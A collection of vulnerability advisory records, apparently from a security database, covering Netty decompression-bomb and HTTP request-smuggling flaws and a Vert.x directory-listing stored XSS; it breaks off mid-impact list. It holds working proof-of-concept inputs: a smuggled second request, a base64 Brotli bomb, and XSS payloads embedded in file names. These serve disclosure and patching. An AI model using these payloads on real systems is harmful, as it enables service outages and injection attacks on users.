"orgId": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"shortName": "redhat-SADP"
},
"references": [
{
"tags": [
"vdb-entry",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/security/cve/CVE-2026-42587"
},
{
"name": "RHBZ#2477220",
"tags": [
"issue-tracking",
"x_refsource_REDHAT"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2477220"
},
{
"tags": [
"x_sadp-csaf-vex"
],
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42587.json"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:28010"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:41951"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:42644"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:25123"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:36820"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:37390"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:23808"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24502"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:34608"
}
],
"solutions": [
{
"lang": "en",
"value": "RHSA-2026:28010: Cryostat 4 on RHEL 9"
},
{
"lang": "en",
"value": "RHSA-2026:41951: Red Hat Data Grid 8.6.2"
},
{
"lang": "en",
"value": "RHSA-2026:42644: Red Hat OpenShift AI 2.25"
},
{
"lang": "en",
"value": "RHSA-2026:25123: Red Hat OpenShift Dev Spaces 3.28"
},
{
"lang": "en",
"value": "RHSA-2026:36820: Red Hat OpenShift Dev Spaces 3.29"
},
{
"lang": "en",
"value": "RHSA-2026:37390: Red Hat build of Apache Camel 4.18.1.P1 for Spring Boot 3.5.16"
},
{
"lang": "en",
"value": "RHSA-2026:23808: Red Hat build of Quarkus 3.27.4"
},
{
"lang": "en",
"value": "RHSA-2026:24502: Red Hat build of Quarkus 3.33.2"
},
{
"lang": "en",
"value": "RHSA-2026:34608: Streams for Apache Kafka 2.9.4"
}
],
"timeline": [
{
"lang": "en",
"time": "2026-05-13T19:01:35.415Z",
"value": "Reported to Red Hat."
},
{
"lang": "en",
"time": "2026-05-13T18:22:21.699Z",
"value": "Made public."
}
],
"title": "netty: io.netty/netty-codec-http: io.netty/netty-codec-http2: Netty: Denial of Service via unbounded memory allocation in HTTP content decompression",
"workarounds": [
{
"lang": "en",
"value": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability."
}
],
"x_adpType": "supplier",
"x_generator": {
"engine": "sadp-cli 1.0.0"
}
}
],
"cna": {
"affected": [
{
"product": "netty",
"vendor": "netty",
"versions": [
{
"status": "affected",
"version": "\u003e= 4.2.0.Alpha1, \u003c 4.2.13.Final"
},
{
"status": "affected",
"version": "\u003c 4.1.133.Final"
}
]
},
{
"product": "netty-codec-http",
"vendor": "io.netty",
"versions": [
{
"status": "affected",
"version": "\u003e= 4.2.0.Alpha1, \u003c 4.2.13.Final"
},
{
"status": "affected",
"version": "\u003c 4.1.133.Final"
}
]
},
{
"product": "netty-codec-http2",
"vendor": "io.netty",
"versions": [
{
"status": "affected",
"version": "\u003e= 4.2.0.Alpha1, \u003c 4.2.13.Final"
},
{
"status": "affected",
"version": "\u003c 4.1.133.Final"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service. The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-400",
"description": "CWE-400: Uncontrolled Resource Consumption",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-05-13T18:22:21.699Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv"
}
],
"source": {
"advisory": "GHSA-f6hv-jmp6-3vwv",
"discovery": "UNKNOWN"
},
"title": "Netty: HttpContentDecompressor maxAllocation bypass via Content-Encoding: br/zstd/snappy enables decompression bomb DoS"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-42587",
"datePublished": "2026-05-13T18:22:21.699Z",
"dateReserved": "2026-04-28T17:26:12.086Z",
"dateUpdated": "2026-07-22T12:08:42.412Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GHSA-38F8-5428-X5CV
Vulnerability from github – Published: 2026-05-07 00:22 – Updated: 2026-05-14 20:41Summary
Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.
Details
Netty incorrectly marks a request as chunked when malformed "Transfer-Encoding: chunked, identity" is present. According to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length
" If a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding, the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request) status code and then close the connection. "
A possible scenario is when Netty is behind a proxy that doesn't reject requests with "Transfer-Encoding: chunked, identity", but prefers "Content-Length" and forwards the content to Netty.
PoC
The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.
@Test
public void test() {
String requestStr = "POST / HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Transfer-Encoding: chunked, identity\r\n" +
"Content-Length: 48\r\n" +
"\r\n" +
"0\r\n" +
"\r\n" +
"GET /smuggled HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"\r\n";
EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));
// Request 1
HttpRequest request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
assertTrue(request.headers().contains("Transfer-Encoding"));
assertFalse(request.headers().contains("Content-Length"));
LastHttpContent last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
// Request 2
request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
}
Impact
HTTP Request Smuggling: Attacker injects arbitrary HTTP requests
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42585"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:22:27Z",
"nvd_published_at": "2026-05-13T19:17:24Z",
"severity": "MODERATE"
},
"details": "### Summary\nNetty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.\n\n### Details\nNetty incorrectly marks a request as chunked when malformed \"Transfer-Encoding: chunked, identity\" is present.\nAccording to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length\n\n\"\nIf a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding,\n the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request)\n status code and then close the connection.\n\"\n\nA possible scenario is when Netty is behind a proxy that doesn\u0027t reject requests with \"Transfer-Encoding: chunked, identity\", but prefers \"Content-Length\" and forwards the content to Netty.\n\n### PoC\nThe test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.\n\n```java\n@Test\n public void test() {\n String requestStr = \"POST / HTTP/1.1\\r\\n\" +\n \"Host: localhost\\r\\n\" +\n \"Transfer-Encoding: chunked, identity\\r\\n\" +\n \"Content-Length: 48\\r\\n\" +\n \"\\r\\n\" +\n \"0\\r\\n\" +\n \"\\r\\n\" +\n \"GET /smuggled HTTP/1.1\\r\\n\" +\n \"Host: localhost\\r\\n\" +\n \"\\r\\n\";\n\n EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());\n assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));\n\n // Request 1\n HttpRequest request = channel.readInbound();\n assertTrue(request.decoderResult().isSuccess());\n assertTrue(request.headers().contains(\"Transfer-Encoding\"));\n assertFalse(request.headers().contains(\"Content-Length\"));\n LastHttpContent last = channel.readInbound();\n assertTrue(last.decoderResult().isSuccess());\n last.release();\n\n // Request 2\n request = channel.readInbound();\n assertTrue(request.decoderResult().isSuccess());\n last = channel.readInbound();\n assertTrue(last.decoderResult().isSuccess());\n last.release();\n }\n```\n\n### Impact\nHTTP Request Smuggling: Attacker injects arbitrary HTTP requests",
"id": "GHSA-38f8-5428-x5cv",
"modified": "2026-05-14T20:41:21Z",
"published": "2026-05-07T00:22:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-38f8-5428-x5cv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42585"
},
{
"type": "WEB",
"url": "https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty vulnerable to HTTP Request Smuggling due to malformed Transfer-Encoding"
}
GHSA-3P8M-J85Q-PGMJ
Vulnerability from github – Published: 2025-09-03 18:00 – Updated: 2025-09-04 13:51Summary
With specially crafted input, BrotliDecoder and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.
Details
BrotliDecoder.decompress has no limit in how often it calls pull, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.
Tested on 4.1.118, but there were no changes to the decoder since.
PoC
Run this test case with -Xmx1G:
import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;
import java.util.Base64;
public class T {
public static void main(String[] args) {
EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());
channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=")));
}
}
Error:
Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824)
at java.base/java.nio.Bits.reserveMemory(Bits.java:178)
at java.base/java.nio.DirectByteBuffer.<init>(DirectByteBuffer.java:121)
at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332)
at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718)
at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693)
at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213)
at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195)
at io.netty.buffer.PoolArena.allocate(PoolArena.java:137)
at io.netty.buffer.PoolArena.allocate(PoolArena.java:127)
at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403)
at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188)
at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179)
at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116)
at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70)
at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101)
at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137)
at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530)
at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469)
at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)
at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412)
at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440)
at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)
at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868)
at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348)
at io.netty.handler.codec.compression.T.main(T.java:11)
Impact
DoS for anyone using BrotliDecoder on untrusted input.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-compression"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.5.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.125.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-58057"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-03T18:00:55Z",
"nvd_published_at": "2025-09-04T10:42:32Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nWith specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.\n\n### Details\n\n`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.\n\nTested on 4.1.118, but there were no changes to the decoder since.\n\n### PoC\n\nRun this test case with `-Xmx1G`:\n\n```java\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.embedded.EmbeddedChannel;\n\nimport java.util.Base64;\n\npublic class T {\n public static void main(String[] args) {\n EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());\n channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode(\"aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=\")));\n }\n}\n```\n\nError:\n\n```\nException in thread \"main\" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824)\n\tat java.base/java.nio.Bits.reserveMemory(Bits.java:178)\n\tat java.base/java.nio.DirectByteBuffer.\u003cinit\u003e(DirectByteBuffer.java:121)\n\tat java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332)\n\tat io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718)\n\tat io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693)\n\tat io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213)\n\tat io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195)\n\tat io.netty.buffer.PoolArena.allocate(PoolArena.java:137)\n\tat io.netty.buffer.PoolArena.allocate(PoolArena.java:127)\n\tat io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403)\n\tat io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188)\n\tat io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179)\n\tat io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116)\n\tat io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70)\n\tat io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101)\n\tat io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137)\n\tat io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530)\n\tat io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469)\n\tat io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)\n\tat io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412)\n\tat io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)\n\tat io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868)\n\tat io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348)\n\tat io.netty.handler.codec.compression.T.main(T.java:11)\n```\n\n### Impact\n\nDoS for anyone using `BrotliDecoder` on untrusted input.",
"id": "GHSA-3p8m-j85q-pgmj",
"modified": "2025-09-04T13:51:43Z",
"published": "2025-09-03T18:00:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-3p8m-j85q-pgmj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58057"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/9d804c54ce962408ae6418255a83a13924f7145d"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Netty\u0027s decoders vulnerable to DoS via zip bomb style attack"
}
GHSA-45P5-V273-3QQR
Vulnerability from github – Published: 2025-10-22 19:38 – Updated: 2026-01-21 16:37Description
- In the
StaticHandlerImpl#sendDirectoryListing(...)method under thetext/htmlbranch, file and directory names are directly embedded into thehref,title, and link text without proper HTML escaping. - As a result, in environments where an attacker can control file names, injecting HTML/JavaScript is possible. Simply accessing the directory listing page will trigger an XSS.
- Affected Code:
- File:
vertx-web/src/main/java/io/vertx/ext/web/handler/impl/StaticHandlerImpl.java - Lines:
- 709–713:
normalizedDiris constructed without escaping - 714–731:
<li><a ...>elements insert file names directly into attributes and body without escaping - 744: parent directory name construction
- 746–751:
{directory},{parent}, and{files}are inserted into the HTML template without escaping
- 709–713:
- File:
Reproduction Steps
-
Prerequisites:
- Directory listing is enabled using
StaticHandler
(e.g.,StaticHandler.create("public").setDirectoryListing(true)) - The attacker has the ability to create arbitrary file names under a public directory (e.g., via upload functionality or a shared directory)
- Directory listing is enabled using
-
Create a malicious file name (example for Unix-based OS):
- Create an empty file in
public/with one of the following names: <img src=x onerror=alert('XSS')>.txt- Or attribute injection:
evil" onmouseover="alert('XSS')".txt - Example:
bash mkdir -p public printf 'test' > "public/<img src=x onerror=alert('XSS')>.txt"
- Create an empty file in
-
Start the server (example):
- Routing:
router.route("/public/*").handler(StaticHandler.create("public").setDirectoryListing(true)); - Server:
vertx.createHttpServer().requestHandler(router).listen(8890);
- Routing:
-
Verification request (raw HTTP):
GET /public/ HTTP/1.1 Host: 127.0.0.1:8890 Accept: text/html Connection: close -
Example response excerpt:
html <ul id="files"> <li> <a href="/public/<img src=x onerror=alert('XSS')>.txt" title="<img src=x onerror=alert('XSS')>.txt"> <img src=x onerror=alert('XSS')>.txt </a> </li> ... </ul> -
When accessing
/public/in a browser, the unescaped file name is interpreted as HTML, and event handlers such asonerrorare executed.
Potential Impact
-
Stored XSS
- Arbitrary JavaScript executes in the browser context of users viewing the listing page
- Possible consequences:
- Theft of session tokens, JWTs, localStorage contents, or CSRF tokens
